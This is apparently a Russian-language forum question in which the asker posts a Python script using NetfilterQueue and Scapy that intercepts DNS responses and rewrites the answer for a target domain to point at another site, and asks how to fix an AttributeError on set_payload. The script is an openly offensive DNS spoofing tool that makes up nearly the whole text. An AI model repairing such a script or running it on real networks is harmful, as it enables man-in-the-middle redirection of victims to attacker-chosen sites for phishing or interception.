Я пытаюсь изменить полезную нагрузку пакета с помощью NetfilterQueue и Python3, однако получаю сообщение об ошибке:
AttributeError: объект netfilterqueue.Packet не имеет атрибута set_payload
Ниже приведен код, который я использую. Как исправить ошибку?
import netfilterqueue
import scapy.all as scapy
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = str(scapy_packet[scapy.DNSQR].qname)
print(qname)
if "<web_address>" in qname:
print("[+] Spoofing target...")
answer = scapy.DNSRR(rrname = qname, rdata = "<web_site>")
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1
del scapy_packet[scapy.IP].len
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.UDP].chksum
del scapy_packet[scapy.UDP].len
packet.set_payload(str(scapy_packet))
packet.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0,process_packet)
queue.run()